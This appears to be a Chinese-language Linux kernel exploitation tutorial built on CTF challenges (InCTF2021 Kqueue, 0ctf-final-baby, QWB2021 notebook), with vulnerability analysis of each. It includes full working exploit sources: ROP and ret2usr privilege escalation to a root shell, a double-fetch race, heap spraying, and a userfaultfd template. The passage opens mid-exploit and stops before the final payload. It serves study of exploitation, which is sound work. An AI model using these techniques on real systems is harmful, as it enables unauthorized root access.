buf, 0x400 - 0x140 ); output_msg("Delete uaf_msg and spray pipe_buffer" ); ret = msgrcv(ms_qid[uaf_idx], buf, 0x400 - 0x30 , 666 , IPC_NOWAIT | MSG_NOERROR); if (ret < 0 ) printf ("Fail delete uaf obj" ); for (int i = 0 ; i < MSG_SPRAY_NUM; i++){ if (pipe(pipe_fd[i]) < 0 ) err_msg("Fail to init pipefd" ); if (write(pipe_fd[i][1 ], "bsd_crow" , 8 ) < 0 ) err_msg("failed to write the pipe!" ); } output_msg("here you go" ); for (int i = 0 ; i < SOCKET_NUM; i++) { for (int j = 0 ; j < SK_BUFF_NUM; j++) { if (read(sk_sockets[i][1 ], buf, 0x400 - 0x140 ) < 0 ) { puts ("[x] failed to received sk_buff!" ); return -1 ; } if (buf[2 ] > 0xffffffff81000000 ) { printf ("==============pipe_buffer===============\n" ); print_binary(buf, 0x20 ); pipe_buffer_ops = buf[2 ]; kernel_offset = pipe_buffer_ops - 0xffffffff8203fe40 ; kernel_base = kernel_base + kernel_offset; print_addr("pipe_buffer_ops" , buf[2 ]); print_addr("kernel_offset" , kernel_offset); print_addr("kernel_base" , kernel_base); } } } size_t pipe_buffer_addr = msg_msg_addr; memset (buf, 'Z' , 0x1000 -8 ); int i = 0 ; buf[i++] = *(size_t *)"henry" ; buf[i++] = *(size_t *)"henry" ; buf[i++] = pipe_buffer_addr + 0x10 ; buf[i++] = push_rsi_pop_rsp_pop_four_ret + kernel_offset; buf[i++] = pop_rdi_ret + kernel_offset; buf[i++] = init_cred + kernel_offset; buf[i++] = commit_creds + kernel_offset; buf[i++] = swapgs_restore_regs_and_return_to_usermode + 0x16 + kernel_offset; buf[i++] = 0 ; buf[i++] = 0 ; buf[i++] = get_root_shell; buf[i++] = user_cs; buf[i++] = user_rflags; buf[i++] = user_sp; buf[i++] = user_ss; spraySkBuff(sk_sockets, buf, 0x400 - 0x140 ); for (int i = 0 ; i < MSG_SPRAY_NUM; i++){ close(pipe_fd[i][0 ]); close(pipe_fd[i][1 ]); } return 0 ; }
Heap Overflow 例题:InCTF2021 - Kqueue 题目的登入用户名为 ctf,密码为 kqueue
正常解压打包后,不能够正常启动,需要在打包的文件中加一条命令 sudo chown root * -R
,然后执行 sudo ./packfile.sh
packfile 文件如下:
由于不知道root用户密码,所以这里注释掉下面的命令,从而可以查看符号地址,从而完成调试。
静态分析 程序没有开 smep,smap, KPTI 保护。
结构体内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 typedef struct { uint16_t data_size; uint64_t queue_size; uint32_t max_entries; uint16_t idx; char * data; }queue ; typedef struct queue_entry queue_entry ;struct queue_entry { uint16_t idx; char *data; queue_entry *next; }; typedef struct { uint32_t max_entries; uint16_t data_size; uint16_t entry_idx; uint16_t queue_idx; char * data; }request_t ;
题目直接给了源码,实现了四个功能来完成队列管理功能。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 switch (cmd){ case CREATE_KQUEUE: result = create_kqueue(request); break ; case DELETE_KQUEUE: result = delete_kqueue(request); break ; case EDIT_KQUEUE: result = edit_kqueue(request); break ; case SAVE: result = save_kqueue_entries(request); break ; default : result = INVALID; break ; }
create_queue源码如下
其中 err 只会输出错误信息,但是并不会让程序 crash。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 static noinline long create_kqueue (request_t request) { long result = INVALID; if (queueCount > MAX_QUEUES) err("[-] Max queue count reached" ); if (request.max_entries<1 ) err("[-] kqueue entries should be greater than 0" ); if (request.data_size>MAX_DATA_SIZE) err("[-] kqueue data size exceed" ); queue_entry *kqueue_entry; ull space = 0 ; if (__builtin_umulll_overflow(sizeof (queue_entry),(request.max_entries+1 ),&space) == true ) err("[-] Integer overflow" ); ull queue_size = 0 ; if (queue_size(sizeof (queue ),space,&queue_size) == true ) err("[-] Integer overflow" ); if (queue_size>sizeof (queue ) + 0x10000 ) err("[-] Max kqueue alloc limit reached" ); queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL)); queue ->data = validate((char *)kmalloc(request.data_size,GFP_KERNEL)); queue ->data_size = request.data_size; queue ->max_entries = request.max_entries; queue ->queue_size = queue_size; kqueue_entry = (queue_entry *)((uint64_t )(queue + (sizeof (queue )+1 )/8 )); queue_entry* current_entry = kqueue_entry; queue_entry* prev_entry = current_entry; uint32_t i=1 ; for (i=1 ;i<request.max_entries+1 ;i++){ if (i!=request.max_entries) prev_entry->next = NULL ; current_entry->idx = i; current_entry->data = (char *)(validate((char *)kmalloc(request.data_size,GFP_KERNEL))); current_entry += sizeof (queue_entry)/16 ; prev_entry->next = current_entry; prev_entry = prev_entry->next; } uint32_t j = 0 ; for (j=0 ;j<MAX_QUEUES;j++){ if (kqueues[j] == NULL ) break ; } if (j>MAX_QUEUES) err("[-] No kqueue slot left" ); kqueues[j] = queue ; queueCount++; result = 0 ; return result; }
上述代码中下面的这条指令存在整数溢出,这里的功能是 sizeof(queue_entry) * (request.max_entries+1) = space,在判断 space 是否发生了整数溢出。
1 2 if (__builtin_umulll_overflow(sizeof (queue_entry),(request.max_entries+1 ),&space) == true ) err("[-] Integer overflow" );
如果让 request.max_entries 为 0xffffffff,request.max_entries+1 就会为 0,从而绕过检查,在来看下面的代码,sizeof(queue) 为 0x20 ,space 为 0 ,计算后的 queue_size 为 0x20。
1 2 3 4 5 6 7 8 9 10 11 ull queue_size = 0 ; if (queue_size(sizeof (queue ),space,&queue_size) == true ) err("[-] Integer overflow" ); if (queue_size>sizeof (queue ) + 0x10000 ) err("[-] Max kqueue alloc limit reached" ); queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));
由于 request.max_entries 为 0xffffffff,所以程序也不会进入到下面的 for 循环。
save_queue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 static noinline long save_kqueue_entries (request_t request) { if (request.queue_idx > MAX_QUEUES) err("[-] Invalid kqueue idx" ); if (isSaved[request.queue_idx]==true ) err("[-] Queue already saved" ); queue *queue = validate(kqueues[request.queue_idx]); if (request.max_entries < 1 || request.max_entries > queue ->max_entries) err("[-] Invalid entry count" ); char *new_queue = validate((char *)kzalloc(queue ->queue_size,GFP_KERNEL)); if (request.data_size > queue ->queue_size) err("[-] Entry size limit exceed" ); if (queue ->data && request.data_size) validate(memcpy (new_queue,queue ->data,request.data_size)); else err("[-] Internal error" ); new_queue += queue ->data_size; queue_entry *kqueue_entry = (queue_entry *)(queue + (sizeof (queue )+1 )/8 ); uint32_t i=0 ; for (i=1 ;i<request.max_entries+1 ;i++){ if (!kqueue_entry || !kqueue_entry->data) break ; if (kqueue_entry->data && request.data_size) validate(memcpy (new_queue,kqueue_entry->data,request.data_size)); else err("[-] Internal error" ); kqueue_entry = kqueue_entry->next; new_queue += queue ->data_size; } isSaved[request.queue_idx] = true ; return 0 ; }
这里存在一个明显的越界溢出,这是因为 request.data_size 是由我们所控制的,同时通过 edit_queue 也可以控制 queue_data 的内容。
1 2 3 if (queue ->data && request.data_size) validate(memcpy (new_queue,queue ->data,request.data_size));
利用思路
利用整数溢出创建一个队列,设置溢出 size
在通过 edit 设置 queue_data 内容
堆喷 seq_operations 结构体,利用溢出写覆盖地址,从而劫持程序执行流
注意:这里我们可以直接将执行流劫持到用户程序,没有开 kpti 和 smep 的原因
动态分析 注意这个题没有开 cg 保护,使得我们的 flag 为 GFP_KERNEL_ACCOUNT
和 GFP_KERNEL
从同一个 kmalloc 中进行分配。
这个题动态分析比较简单,exp 也很简单,我们的最终目的就是溢出写 seq_operations 结构体。
1 2 3 4 5 kqueuefd = open("/dev/kqueue" , O_RDONLY); if (kqueuefd < 0 ) errorMsg("Fail to open /dev/kqueue" );outputMsg("step1: first create_queue" ); create(0xffffffff , 0x40 );
这里再次验证了 err 只会检测出溢出,但不会让程序 crash。
1 2 3 4 5 for (int i = 0 ; i < 10 ; i++){ data[i] = (size_t )shellcode; } printAddr("shellcode addr" , (size_t )shellcode); edit(0xffffffff , 0x40 , 0 , 0 , data);
这里我们通过 edit 将数据写入到 queue->data 中。
下面的代码堆喷了 0x80 个 seq_operations 结构体,尽可能使得一页都布满该结构体,使得可以增大我们溢出写时的成功率。
1 2 3 4 5 6 7 8 9 10 11 outputMsg("step2: heap spary with seq_operations struct" ); for (int i=0 ; i<0x80 ; i++){ seqfd[i] = open("/proc/self/stat" , O_RDONLY); if (seqfd[i] < 0 ) errorMsg("Fail to open /proc/self/stat" ); } outputMsg("step3: overflow seq_operations struct" ); save(0xffffffff , 0x40 , 0 , 0 ); for (int i=0 ; i<0x80 ; i++){ read(seqfd[i], data, 1 ); }
可以看到我们的 shellcode 地址已经可以准备好复制到 0x980 的地址处了,而下面 0x20 偏移处的位置就是 seq_operations 结构体,至于为什么知道下面的地方,可以在符号表找到 single_open 的地址下断点,然后就可以找到初始化完成 seq_operations 的过程。
溢出后内容如下:
之后我们在 read stat 文件劫持执行流即可 。
1 2 3 4 for(int i=0; i<0x80; i++){ read(seqfd[i], data, 1); }
利用这个内核地址写 shellcode 即可。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <pthread.h> #include <sys/types.h> #include <linux/userfaultfd.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sys/sem.h> #include <semaphore.h> #include <poll.h> #include <linux/keyctl.h> #define uint32_t unsigned int #define uint16_t unsigned short void errorMsg (char *msg) { printf ("\033[31m\033[1m[!] %s \033[0m\n" ,msg); exit (0 ); } void outputMsg (char *msg) { printf ("\033[34m\033[1m[+] %s \033[0m\n" ,msg); } void printAddr (char *msg, size_t value) { printf ("\033[35m\033[1m[*] %s == %p\033[0m\n" ,msg,(size_t *)value); } size_t user_cs,user_ss,user_sp,user_rflags;void saveStatus () { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("\033[32m\033[1m[+] status has been saved!\033[0m" ); } void getRootShell () { outputMsg("back from kernelspace" ); if (!getuid()) { outputMsg("SUCCESSFUL GET ROOT by henry!" ); system("/bin/sh" ); } else errorMsg("FAIL TO GET ROOT" ); } void bind_core (int core) { cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof (cpu_set), &cpu_set); outputMsg("Process binded to core" ); } void printBinary (void *addr, int len) { size_t *buf64 = (size_t *) addr; char *buf8 = (char *) addr; for (int i = 0 ; i < len / 8 ; i += 2 ) { printf (" %04x" , i * 8 ); for (int j = 0 ; j < 2 ; j++) { i + j < len / 8 ? printf (" 0x%016lx" , buf64[i + j]) : printf (" " ); } printf (" " ); for (int j = 0 ; j < 16 && j + i * 8 < len; j++) { printf ("%c" , isprint (buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.' ); } puts ("" ); } } typedef struct { uint32_t max_entries; uint16_t data_size; uint16_t entry_idx; uint16_t queue_idx; char * data; }request_t ; int kqueuefd;void create (uint32_t entries, uint16_t data_size) { request_t req = { .max_entries = entries, .data_size = data_size, }; ioctl(kqueuefd, 0xDEADC0DE , &req); } void delete (uint32_t entries, uint16_t data_size, uint16_t entry_idx, uint16_t queue_idx, char * data) { request_t req = { .max_entries = entries, .data_size = data_size, .entry_idx = entry_idx, .queue_idx = queue_idx, .data = data }; ioctl(kqueuefd, 0xBADDCAFE , &req); } void edit (uint32_t entries, uint16_t data_size, uint16_t entry_idx, uint16_t queue_idx, char * data) { request_t req = { .max_entries = entries, .data_size = data_size, .entry_idx = entry_idx, .queue_idx = queue_idx, .data = data }; ioctl(kqueuefd, 0xDAADEEEE , &req); } void save (uint32_t entries, uint16_t data_size, uint16_t entry_idx, uint16_t queue_idx) { request_t req = { .max_entries = entries, .data_size = data_size, .entry_idx = entry_idx, .queue_idx = queue_idx, }; ioctl(kqueuefd, 0xB105BABE , &req); } size_t getRootShell_addr = getRootShell;void shellcode () { __asm__( "mov r12, [rsp+8];" "mov r13, r12;" "sub r12, 0x174bf9;" "sub r13, 0x175039;" "xor rdi, rdi;" "call r12;" "mov rdi, rax;" "call r13;" "push user_ss;" "push user_sp;" "push user_rflags;" "push user_cs;" "push getRootShell_addr;" "swapgs;" "iretq;" ); } int seqfd[0x100 ];size_t commit_offset = 0x175039 ;size_t prepare_kernel_cred_offset = 0x174bf9 ;int main () { size_t data[10 ]; saveStatus(); bind_core(0 ); kqueuefd = open("/dev/kqueue" , O_RDONLY); if (kqueuefd < 0 ) errorMsg("Fail to open /dev/kqueue" ); outputMsg("step1: first create_queue" ); create(0xffffffff , 0x40 ); for (int i = 0 ; i < 10 ; i++){ data[i] = (size_t )shellcode; } printAddr("shellcode addr" , (size_t )shellcode); edit(0xffffffff , 0x40 , 0 , 0 , data); outputMsg("step2: heap spary with seq_operations struct" ); for (int i=0 ; i<0x80 ; i++){ seqfd[i] = open("/proc/self/stat" , O_RDONLY); if (seqfd[i] < 0 ) errorMsg("Fail to open /proc/self/stat" ); } outputMsg("step3: overflow seq_operations struct" ); save(0xffffffff , 0x40 , 0 , 0 ); for (int i=0 ; i<0x80 ; i++){ read(seqfd[i], data, 1 ); } return 0 ; }
Race Condition 1. double fetch 原理 以下内容摘自wiki
Double Fetch
从漏洞原理上属于条件竞争漏洞,是一种内核态与用户态之间的数据访问竞争。
在 Linux 等现代操作系统中,虚拟内存地址通常被划分为内核空间和用户空间。内核空间负责运行内核代码、驱动模块代码等,权限较高。而用户空间运行用户代码,并通过系统调用进入内核完成相关功能。
通常情况下,用户空间向内核传递数据时,内核先通过通过 copy_from_user
等拷贝函数将用户数据拷贝至内核空间进行校验及相关处理,但在输入数据较为复杂时,内核可能只引用其指针,而将数据暂时保存在用户空间进行后续处理。 此时,该数据存在被其他恶意线程篡改风险,造成内核验证通过数据与实际使用数据不一致,导致内核代码执行异常。
一个典型的 Double Fetch
漏洞原理如下图所示,一个用户态线程准备数据并通过系统调用进入内核,该数据在内核中有两次被取用,内核第一次取用数据进行安全检查 (如缓冲区大小、指针可用性等),当检查通过后内核第二次取用数据进行实际处理 。
而在两次取用数据之间,另一个用户态线程可创造条件竞争,对已通过检查的用户态数据进行篡改,在真实使用时造成访问越界或缓冲区溢出,最终导致内核崩溃或权限提升 。
例题 0ctf-final-baby 启动脚本
1 2 3 4 5 6 7 8 9 10 11 qemu-system-x86_64 \ -m 256M -smp 2,cores=2,threads=1 \ -kernel ./vmlinuz-4.15.0-22-generic \ -initrd ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet" \ -cpu qemu64 \ -netdev user,id =t0, -device e1000,netdev=t0,id =nic0 \ -nographic \ -enable-kvm \ -no-reboot \ -s
条件竞争 利用过程
step 1: 拿到 flag 地址
拿出压缩包中的 baby.ko 文件进行分析。
驱动程序中对用户只实现了一个 ioctl 调用,当第二个参数是 0x6666 时,将会 printk 出 flag 地址,printk 是将内容输入到内核缓冲区,init 文件中并没有设置 dmesg_restrict,所以我们可以通过该功能泄露出 flag 在内核中的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ioctl(fd,0x6666 ); system("dmesg | grep flag > henry.txt" ); int fd1 = open("./henry.txt" ,O_RDONLY);outputMsg("open henry.txt" ); char flag_addr_info[0x40 ];read(fd1,flag_addr_info,0x30 ); size_t addr = strstr (flag_addr_info,"!" );if (addr){ size_t flag_addr = addr - 0x10 ; printf ("%s\n" ,flag_addr); char addr_hex[0x20 ] = {0 }; strncpy (addr_hex,flag_addr,0x10 ); flag_addr_kernel = strtoull(addr_hex,&buf,16 ); printAddr("flag_addr_kernel" ,flag_addr_kernel); } else { errorMsg("Fail to read flag addr" ); }
step2:race condition
结构体
1 2 3 4 typedef struct { char *buf; int size; }baby;
_chk_range_not_ok
简单来说该函数的功能就是检查,a1+a2 是否满足小于 a3,若不小于返回1,若小于返回0。其中 CFADD 是通过 add 来判断 CF 位的情况。
这里再结合调试来看看三处检查分别对应的内容是什么。
调试
1 lsmod 列出程序当前加载模块,并包含其地址信息
对该地址下断点进行调试,这里是第一处检查,其中
其中 0x7ffffffff000 地址是用户空间的栈底, 从而判断这里是检查地址是否越过了用户空间。
第二次检查也是一样的过程,第三次检查会判断 size 是否与 flag 长度相等。
从下面可以判断 flag 的长度为 0x21。
通过前面分析我们可以发现程序中总共设置了三次检查,试想如果我们先传入满足条件的值通过前面的检查,然后在下面红框中再次访问 *(_QWORD *)v5 即 flag_addr时,我们起另外起一个线程改掉 *(_QWORD *)v5 为我们 step1 中泄露的地址,那么这样的话我们就可以绕过判断,让程序泄露出下面的 flag 了。
核心代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 void competeFunc () { while (status) { flag_info.buf = (char *)flag_addr_kernel; } } pthread_t raceFunc;pthread_create(&raceFunc,NULL ,competeFunc,NULL ); for (int i = 0 ; i < competetion_times; i++){ flag_info.buf = buf; ioctl(fd,0x1337 ,&flag_info); }
这样我们就有机会在进行与真实 flag 进行比较时,改掉原有正确的值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> · void errorMsg (char *msg) { printf ("\033[31m\033[1m[!] %s \033[0m\n" ,msg); exit (0 ); } void outputMsg (char *msg) { printf ("\033[34m\033[1m[+] %s \033[0m\n" ,msg); } void printAddr (char *msg, size_t value) { printf ("\033[35m\033[1m[*] %s == %p\033[0m\n" ,msg,(void *)value); } typedef struct { char *buf; int size; }baby; char buf[0x50 ];int status = 1 ;baby flag_info = {buf,0x21 }; size_t flag_addr_kernel = 0 ;size_t competetion_times = 0x1000 ;void competeFunc () { while (status) { flag_info.buf = (char *)flag_addr_kernel; } } int main () { int fd = open("/dev/baby" ,2 ); if (fd < 0 ) errorMsg("Fail to open baby" ); outputMsg("reading flag_addr in henry.txt" ); ioctl(fd,0x6666 ); system("dmesg | grep flag > henry.txt" ); int fd1 = open("./henry.txt" ,O_RDONLY); outputMsg("open henry.txt" ); char flag_addr_info[0x40 ]; read(fd1,flag_addr_info,0x30 ); size_t addr = strstr (flag_addr_info,"!" ); if (addr) { size_t flag_addr = addr - 0x10 ; printf ("%s\n" ,flag_addr); char addr_hex[0x20 ] = {0 }; strncpy (addr_hex,flag_addr,0x10 ); flag_addr_kernel = strtoull(addr_hex,&buf,16 ); printAddr("flag_addr_kernel" ,flag_addr_kernel); } else { errorMsg("Fail to read flag addr" ); } pthread_t raceFunc; pthread_create(&raceFunc,NULL ,competeFunc,NULL ); while (status) { for (int i = 0 ; i < competetion_times; i++) { flag_info.buf = buf; ioctl(fd,0x1337 ,&flag_info); } system("dmesg | grep \"So here is it\" > content.txt" ); int fd2 = open("./content.txt" ,O_RDONLY); char info[0x100 ]; read(fd2,info,0x80 ); close(fd2); if (strstr (info,"here is it" )) { status = 0 ; outputMsg("Find flag" ); } } system("cat content.txt" ); return 0 ; }
侧信道 mmap出0x1000的空间,猜测的 flag 放到页末尾,这样的话当越界读的时候将会报错,这时意味着猜对了字符。
1 2 3 char *page = mmap(0 ,0x1000 , PROT_READ | PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,-1 ,0 ); baby.size = 0x21 ; baby.buf = page + 0xFFF ;
2. userfaultfd 参考链接:https://zhuanlan.zhihu.com/p/570868104
参考链接:https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#userfaultfd%EF%BC%88may-obsolete%EF%BC%89
原理 userfaultfd 是一个在实现条件竞争上非常实用的一个技巧,需要指出的是 userfaultfd 实际上是一个系统调用, userfaultfd ()
系统调用会创建一个 userfaultfd 对象,用以将pagefault的处理函数委托给用户空间的处理程序 。
userfaulted 使用 定义数据结构
1 2 3 4 5 6 7 8 9 10 ... int main (int argc, char ** argv, char ** envp) { long uffd; char *addr; unsigned long len; pthread_t thr; struct uffdio_api uffdio_api ; struct uffdio_register uffdio_register ; ...
CTF 中的 userfaultfd 板子 该板子来自于 arttnba3 师傅
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 char temp_page_for_stuck[0x1000 ];void register_userfaultfd (pthread_t *monitor_thread, void *addr, unsigned long len, void *(*handler)(void *)) { long uffd; struct uffdio_api uffdio_api ; struct uffdio_register uffdio_register ; int s; uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1 ) { errorMsg("userfaultfd" ); } uffdio_api.api = UFFD_API; uffdio_api.features = 0 ; if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1 ) { errorMsg("ioctl-UFFDIO_API" ); } uffdio_register.range.start = (unsigned long ) addr; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1 ) { errorMsg("ioctl-UFFDIO_REGISTER" ); } s = pthread_create(monitor_thread, NULL , handler, (void *) uffd); if (s != 0 ) { errorMsg("pthread_create" ); } } void *uffd_handler_for_stucking_thread (void *args) { struct uffd_msg msg ; int fault_cnt = 0 ; long uffd; struct uffdio_copy uffdio_copy ; ssize_t nread; uffd = (long ) args; for (;;) { struct pollfd pollfd ; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1 , -1 ); if (nready == -1 ) { errorMsg("poll" ); } nread = read(uffd, &msg, sizeof (msg)); sleep(100000000 ); if (nread == 0 ) { errorMsg("EOF on userfaultfd!\n" ); } if (nread == -1 ) { errorMsg("read" ); } if (msg.event != UFFD_EVENT_PAGEFAULT) { errorMsg("Unexpected event on userfaultfd\n" ); } uffdio_copy.src = (unsigned long long ) temp_page_for_stuck; uffdio_copy.dst = (unsigned long long ) msg.arg.pagefault.address & ~(0x1000 - 1 ); uffdio_copy.len = 0x1000 ; uffdio_copy.mode = 0 ; uffdio_copy.copy = 0 ; if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1 ) { errorMsg("ioctl-UFFDIO_COPY" ); } return NULL ; } } void register_userfaultfd_for_thread_stucking (pthread_t *monitor_thread, void *buf, unsigned long len) { register_userfaultfd(monitor_thread, buf, len, uffd_handler_for_stucking_thread); }
使用的时候可以直接调用
1 register_userfaultfd_for_thread_stucking(monitor_thread, addr, len);
例题:强网杯2021-notebook 经过这一段时间的内核学习,逐渐熟悉了内核的一些模式,希望能够提升的更快。
检查保护
启动脚本
开启了 kaslr,还有 smep 和 smap 保护,
1 cat /sys/devices/system/cpu/vulnerabilities/*
同时内核也开启了 KPTI (内核页表隔离),这就想办法将 payload 写到内核空间会比较好一点。
init 文件
第一处限制我们不能够读符号地址,这也意味着我们需要自己去泄露地址,同时也不能通过 dmesg 来读缓冲区数据。第二处发现题目把 notebook 驱动的符号地址放到了 /tmp/moduleaddr
,所以我们可以通过查看该文件来获取驱动地址,方便调试。
静态分析
通过功能可以发现该题目是一道菜单堆题,并且是给了四个功能,其中 0x64 是给的 gift,同时也可以发现我们需要传入的结构需要满足如下:
1 2 3 4 5 struct note { size_t idx; size_t size; char * buf; };
noteadd
add 函数中并不会将我们的数据写到分配的 note 中,而是先放到 name 这个全局数组中。
notedel
可以发现这里上了一个写锁,这意味着我们在 notedel 中不能通过条件竞争来实现 UAF。
noteedit
可以发现在 noteedit 中设置了一个读锁,所以我们可以考虑 krealloc 的特性来完成 UAF,同时也可以发现 noteedit 中并没有对申请的 size 进行检查。
参考链接:https://elixir.bootlin.com/linux/v4.4.298/source/mm/slab_common.c#L1236
从上面可以知道,当设置 newsize 为 0时,krealloc 首先会 kfree 然后直接返回。
notegift
notegift 的作用实际上泄露 note 在内核中地址信息,后期可以考虑在这里放上 payload,然后劫持执行流。
mynote_read
read 与 write 功能类似,都实现的是数据的写入写出。
利用过程
首先 noteadd 申请一块 0x60 的object
在通过 noteedit 重新申请 0x2e0 大小的 object(其大小与 tty_struct 一致)
为 mmap 出来的内存区域注册 userfaultfd,使得内核在进行访问数据时触发缺页异常,并交由用户空间的 monitor_thread 进行处理,我们往往会在 monitor 线程处理中加入 sleep(big num)
,使得其能够卡住,给出其他线程足够的时间去利用 UAF
通过 UAF 得到 tty_struct,然后泄露内核地址,劫持 tty_operations 指针
在 fake_tty_operations 空间中提前设置好对应的函数指针,这里我们是劫持的 ioctl 执行流
执行提权函数即可
1 2 3 noteAdd(0 , 0x60 , buf); noteEdit(0 , 0x2E0 , buf);
首先让 ¬ebook[0]->note 的大小为 0x2e0,满足我们 tty_struct 的大小。
1 2 3 userfd_page = mmap(NULL , page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 ); register_userfaultfd_for_thread_stucking(&uffdMonitorThread, userfd_page, page_size);
为申请出来的内存块注册 userfaultfd,使得能够触发缺页异常。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 sem_init(&hackEditLock, 0 , 0 ); sem_init(&hackAddLock, 0 , 0 ); pthread_create(&hackEditFunc, NULL , hackEdit, NULL ); pthread_create(&hackAddFunc, NULL , hackAdd, NULL ); sem_post(&hackEditLock); sleep(1 ); sem_post(&hackAddLock); sleep(1 );
这里初始化了两个信号量 hackEditLock,hackAddLock 用于实现同步关系,同时创建两个会触发缺页异常的线程分别是 hackEdit 和 hackAdd。
关于 hackEdit 实际上它的关键就是实现 UAF,可以看见这里我们将他的 size 设置为了 0,从而通过 krealloc 释放我们之前得到的 0x2e0 的块。
1 2 3 4 5 6 7 void hackEdit () { sem_wait(&hackEditLock); outputMsg("begin to edit for UAF" ); struct note note = {.idx = 0 , .size = 0 , .buf = userfd_page}; ioctl(notefd, 0x300 , ¬e); }
关于 hackAdd 这里也有它实现的意义,前面的 hackEdit 不经意间已经让我们的 size 变为了 0。所以后面再进行 read 的时候导致不会将 tty_struct 中的数据进行泄露。
1 2 3 4 5 6 7 void hackAdd () { sem_wait(&hackAddLock); outputMsg("begin to make size to 0x60" ); struct note note = {.idx = 0 , .size = 0x60 , .buf = userfd_page}; ioctl(notefd, 0x100 , ¬e); }
1 2 3 4 5 6 size_t tty_struct[0x10 ];read(notefd, tty_struct, 0 ); printBinary(tty_struct,0x60 ); tty_operations = tty_struct[3 ]; printAddr("tty_operations" ,tty_operations);
通过观察魔数可知我们已经成功通过 UAF,tty_struct 成功申请到了这块内存。
这里在申请一块区域使得我们能够存放 ROP。
1 2 3 4 5 6 7 8 9 10 11 size_t fake_tty_ops[0x10 ];noteAdd(1 , 0x60 , buf); noteEdit(1 , 0x100 , buf); fake_tty_ops[12 ] = work_for_cpu_fn + kernel_offset; write(notefd, fake_tty_ops, 1 ); size_t notebook[0x20 ];noteGift(notebook); printBinary(notebook, 0x20 );
work_for_cpu_fn 该函数的作用简单总结就是,可以通过劫持 tty_operation 等执行流指向 work_for_cpu,由于此时 rdi 寄存器是指向 tty_struct 的,而这块区域是我们可控的,因此结合下面函数中对应的简化版,我们不仅能够设置参数args[5],还能设置调用函数args[4],同时还能将返回值保存到 args[6],因此我们可以反复劫持执行流,来调用我们想要调用的提权函数。
这里的提权函数我选择使用 commit_creds(init_cred)
参考链接:https://elixir.bootlin.com/linux/v4.4.298/source/kernel/workqueue.c#L4685
1 2 3 4 5 6 7 8 9 10 11 12 13 struct work_for_cpu { struct work_struct work ; long (*fn)(void *); void *arg; long ret; }; static void work_for_cpu_fn (struct work_struct *work) { struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work); wfc->ret = wfc->fn(wfc->arg); }
上面的函数等价于下面:
1 2 3 4 static void work_for_cpu_fn (size_t * args) { args[6 ] = ((size_t (*) (size_t )) (args[4 ](args[5 ])); }
payload 设置如下:
